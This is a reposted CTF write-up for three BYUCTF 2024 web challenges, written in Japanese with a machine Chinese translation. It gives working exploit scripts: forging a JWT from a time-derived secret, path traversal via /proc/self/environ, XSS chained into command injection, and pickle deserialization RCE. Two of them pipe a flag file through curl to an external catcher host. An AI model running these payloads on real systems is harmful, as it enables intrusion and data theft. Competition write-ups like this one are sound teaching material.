BYUCTF 2024 Writeups

WriteUp 4个月前 admin
57 0 0

[Web] Random [网页] 随机

ソースコード有り。ファイルを閲覧できるサイトが与えられるが、利用するにはまず、以下の検証を突破する必要がある。
提供源代码。 您将获得一个可以查看文件的站点,但要使用它,您必须首先通过以下验证。

time_started = round(time.time())
APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()


# check authorization before request handling
@app.before_request
def check_auth():
    # ensure user is an administrator
    session = request.cookies.get('session', None)

    if session is None:
        abort(403)

    try:
        payload = jwt.decode(session, APP_SECRET, algorithms=['HS256'])
        if payload['userid'] != 0:
            abort(401)
    except:
        abort(Response(f'<h1>NOT AUTHORIZED</h1><br><br><br><br><br> This system has been up for {round(time.time()-time_started)} seconds fyi :wink:', status=403))

検証を突破するJWTトークンを作成する必要があるのだが、脆弱な部分が鍵をサーバ起動時の現在時刻から生成している部分。今回は検証に失敗しexceptに入ると、サーバが起動してからの時間が取得できる。この情報から、サーバの起動時間が逆算でき、つまり、鍵が復元できる。PoCは後で共有するとして、認証を突破できたら、フラグは/in_prod_this_is_random/flag.txtにあるので、これを何とか持って来る必要がある。以下の部分でファイルが持ってこれそうだ。
需要创建一个突破验证的 JWT 令牌,但易受攻击的部分是服务器启动时从当前时间生成密钥的部分。 这一次,如果验证失败并且您输入 except,您可以获取自服务器启动以来的时间。 根据这些信息,可以向后计算服务器的启动时间,即可以恢复密钥。 PoC 稍后会共享,但如果你能突破身份验证,标志就在 /in_prod_this_is_random/flag.txt ,所以你需要以某种方式带来这个。 该文件似乎在以下部分中。

# get a file
@app.route('/api/file', methods=['GET'])
def get_file():
    filename = request.args.get('filename', None)

    if filename is None:
        abort(Response('No filename provided', status=400))

    # prevent directory traversal
    while '../' in filename:
        filename = filename.replace('../', '')

    # get file contents
    return open(os.path.join('files/', filename),'rb').read()

os.path.joinは妙な動きをすることが知られており、第二引数に絶対パスが与えられると全体がその絶対パスに上書きされるということが起こる。よって、filepathに/in_prod_this_is_random/flag.txtと指定すれば、../で戻ることなくルートからファイルを指定可能。…とやると失敗。in_prod_this_is_randomというのをちゃんと読んでなかったが、このパスもどこかから持って来る必要があるようだ。これは/proc/self/environを取得すると取れた。ということで以下のスクリプトでフラグが得られる。
os.path.join 已知行为异常,如果给出绝对路径作为第二个参数,则整体将被绝对路径覆盖。 因此,如果将 filepath 指定 /in_prod_this_is_random/flag.txt 为 ,则可以从根目录指定一个文件,而不返回 ../ 。 … 如果你这样做,你就会失败。 in_prod_this_is_random 我没有看好,但似乎这张通行证也需要从某个地方带来。 这是通过 /proc/self/environ 检索 . 因此,您可以使用以下脚本获取标志。

import requests
import jwt, re, time, hashlib

BASE = 'https://random.chal.cyberjousting.com'
#BASE = 'http://localhost:40000'

def get_token(secret):
    return jwt.encode({ "userid" : 0 }, secret, algorithm="HS256")

def test(secret):
    r = requests.get(f"{BASE}/", cookies={"session":get_token(secret)})
    return r.status_code != 403

r = requests.get(F"{BASE}/", cookies={"session":"hoge"}).text
running_time = int(re.search(r'(\d+) seconds', r).group(1))
calcurated_time_started = round(time.time()) - running_time
actual_time_started = -1

for d in range(-1,2):
    secret = hashlib.sha256(str(calcurated_time_started + d).encode()).hexdigest()
    if test(secret) == True:
        actual_time_started = calcurated_time_started + d

assert 0 < actual_time_started

secret = hashlib.sha256(str(actual_time_started).encode()).hexdigest()
secret_path = requests.get(f"{BASE}/api/file?filename=/proc/self/environ", cookies={"session":get_token(secret)}).text.split('/')[-1][:-1]
r = requests.get(f"{BASE}/api/file?filename=/{secret_path}/flag.txt", cookies={"session":get_token(secret)}).text
print(r)

[Web] Not a Problem
[网页] 没问题

ソースコード有り。admin botpythonで作られたサイトが与えられる。pythonで作られた方で面白そうなのは以下の関数。
提供源代码。 您将获得一个由管理员机器人和 python 组成的网站。 对于用 Python 制作的函数来说,以下函数似乎很有趣。

# current date
@app.route('/api/date', methods=['GET'])
def get_date():
    # get "secret" cookie
    cookie = request.cookies.get('secret')

    # check if cookie exists
    if cookie == None:
        return '{"error": "Unauthorized"}'
    
    # check if cookie is valid
    if cookie != SECRET:
        return '{"error": "Unauthorized"}'
    
    modifier = request.args.get('modifier','')
    
    return '{"date": "'+subprocess.getoutput("date "+modifier)+'"}'

明らかなコマンドインジェクションがある。試しにdateを含めたURLをbotに送ってみるとエラーが出た。admin bot側でdateが含まれているか検証していた。
有明显的命令注入。 当我尝试向机器人发送包含日期的 URL 时,出现了错误。 Admin Bot 端正在验证是否包含日期。

if (url.includes("date") || url.includes("%")) {
    res.send('Error: "date" is not allowed in the URL')
    return
}

何か別の方法を考えよう。以下の部分はどうだろうか。
让我们想想别的事情。 以下部分呢?

# get stats
@app.route('/api/stats/<string:id>', methods=['GET'])
def get_stats(id):
    for stat in stats:
        if stat['id'] == id:
            return str(stat['data'])
        
    return '{"error": "Not found"}'


# add stats
@app.route('/api/stats', methods=['POST'])
def add_stats():
    try:
        username = request.json['username']
        high_score = int(request.json['high_score'])
    except:
        return '{"error": "Invalid request"}'
    
    id = str(uuid.uuid4())

    stats.append({
        'id': id,
        'data': [username, high_score]
    })
    return '{"success": "Added", "id": "'+id+'"}'

入力を入れて出力しているがXSS対策がなされているようには見えない。試しに以下のようにXSSコードを入れ込んでみるとsタグが動くことが確認できた。
输入和输出,但似乎没有 XSS 对位。 当我尝试按如下方式插入 XSS 代码时,我能够确认 s 标签是否有效。

import requests
import json

BASE = 'http://localhost:40001'

t = requests.post(f"{BASE}/api/stats", json={'username':'<s>asdf<\s>','high_score':1}).text
generated_id = json.loads(t)['id']

t = requests.get(f"{BASE}/api/stats/{generated_id}").text
print(f"{BASE}/api/stats/{generated_id}")
print(t)

ということで、この部分をリダイレクタとして活用することにしよう。XSSでリダイレクトしてコマンドインジェクションして外部送信するURLを作るPoCは以下。
因此,让我们将这部分用作重定向器。 使用 XSS 重定向、注入命令并创建要向外部发送的 URL 的 PoC 如下所示。

import requests
import json
import urllib.parse

#BASE = 'http://localhost:40001'
BASE = 'https://not-a-problem.chal.cyberjousting.com'

command = 'cat /ctf/flag.txt | curl https://[yours].requestcatcher.com/ -X POST -d @-'
command = urllib.parse.quote(command)
payload = "<meta http-equiv=refresh content='0; url=http://127.0.0.1:1337/api/date?modifier=`" + command + "`'>"
t = requests.post(f"{BASE}/api/stats", json={'username':payload,'high_score':1}).text
generated_id = json.loads(t)['id']

t = requests.get(f"{BASE}/api/stats/{generated_id}").text
print(f"{BASE}/api/stats/{generated_id}")
print(t)

得られたURLを踏ませれば、requestcatherにフラグが飛んでくる。
如果您踩到获取的 URL,则会向 requestcather 飞出一个标志。

[Web] Triple Whammy [网页] 三重打击

ソースコード有り。まず、明らかなXSSポイントがある。
提供源代码。 首先,有明显的XSS点。

# index
@app.route('/', methods=['GET'])
def main():
    name = request.args.get('name','')

    return 'Nope still no front end, front end is for noobs '+name

admin botもあり、cookieでSECRETを渡していて、以下のようにSECRETを検証している所があるので、これを踏ませるのだろう。
还有一个管理机器人,它会在 cookie 中传递 SECRET 并验证 SECRET,如下所示,所以我想我会踩到它。

# query
@app.route('/query', methods=['POST'])
def query():
    # get "secret" cookie
    cookie = request.cookies.get('secret')

    # check if cookie exists
    if cookie == None:
        return {"error": "Unauthorized"}
    
    # check if cookie is valid
    if cookie != SECRET:
        return {"error": "Unauthorized"}
    
    # get URL
    try:
        url = request.json['url']
    except:
        return {"error": "No URL provided"}

    # check if URL exists
    if url == None:
        return {"error": "No URL provided"}
    
    # check if URL is valid
    try:
        url_parsed = urlparse(url)
        if url_parsed.scheme not in ['http', 'https'] or url_parsed.hostname != '127.0.0.1':
            return {"error": "Invalid URL"}
    except:
        return {"error": "Invalid URL"}
    
    # request URL
    try:
        requests.get(url)
    except:
        return {"error": "Invalid URL"}
    
    return {"success": "Requested"}

特に気になる所は無い。特筆すべき所として、internal.pyというのが別途動いている。これをこの/query経由で呼ぶのだろう。
没有什么可担心的。 值得一提的是,internal.py 是分开工作的。 这就是我们通过这个来称呼 /query 它。

# imports
from flask import Flask, request
import pickle, random


# initialize flask
app = Flask(__name__)
port = random.randint(5700, 6000)
print(port)


# index
@app.route('/pickle', methods=['GET'])
def main():
    pickle_bytes = request.args.get('pickle')

    if pickle_bytes is None:
        return 'No pickle bytes'
    
    try:
        b = bytes.fromhex(pickle_bytes)
    except:
        return 'Invalid hex'
    
    try:
        data = pickle.loads(b)
    except:
        return 'Invalid pickle'

    return str(data)


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=port, threaded=True)

pickleのデリアライズをするが、ポートがランダムで指定されている。なので、XSSでポートスキャンして、そのあと、Pickleのシリアライズ物を送ってやる。後は既存手法の組み合わせ。以下のようなPoCコード。
泡菜是去现实化的,但端口是随机指定的。 因此,我将使用 XSS 进行端口扫描,然后发送 Pickle 序列化。 其余的是现有方法的组合。 PoC代码如下。

pickle作るときに先頭に0x00を4つつけるものとそうでないものがあるけれど、どういう条件の違いがあるんだろう。b"\x00"*4 + payloadみたいなやつ。
制作泡菜时,有些开始时有四个0x00,有些则没有,但条件有什么区别? b"\x00"*4 + payload 类似的东西。

import requests
from urllib.parse import quote

CATCHER = 'https://[yours].requestcatcher.com/out'

payload = '''
<script>
for (let port = 5700; port <= 6000; port++) {
    const url = 'http://127.0.0.1:' + port.toString();
    fetch(url, {mode: 'no-cors'}).then(res => {
        fetch('<<<CATCHER>>>', { method: "POST", body: port })
    });
}
</script>
'''
payload = payload.replace("<<<CATCHER>>>", CATCHER)

print('====== STAGE 1 =======')
print('?name='+quote(payload))

# POST = 5863

import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = ('cat /ctf/flag.txt | curl https://[yours].requestcatcher.com/out -X POST -d @-')
        return os.system, (cmd,)

def generate_exploit():
    payload = pickle.dumps(RCE())
    return payload

payload = '''
<script>
fetch('http://127.0.0.1:5863/pickle?pickle=<<<PICKLED>>>', {mode: 'no-cors'}).then(response => {
    fetch('<<<CATCHER>>>', { method: "POST", body: "launched!"});
});
</script>
'''
payload = payload.replace("<<<CATCHER>>>", CATCHER)
payload = payload.replace("<<<PICKLED>>>", generate_exploit().hex())

print('====== STAGE 2 =======')
print('?name='+quote(payload))

STAGE 1でポートを特定し、STAGE 2でRCE。
确定第 1 阶段的端口和第 2 阶段的 RCE。

原文始发于はまやんはまやんはまやん:BYUCTF 2024 Writeups

版权声明:admin 发表于 2024年5月21日 上午9:41。
转载请注明:BYUCTF 2024 Writeups | CTF导航

相关文章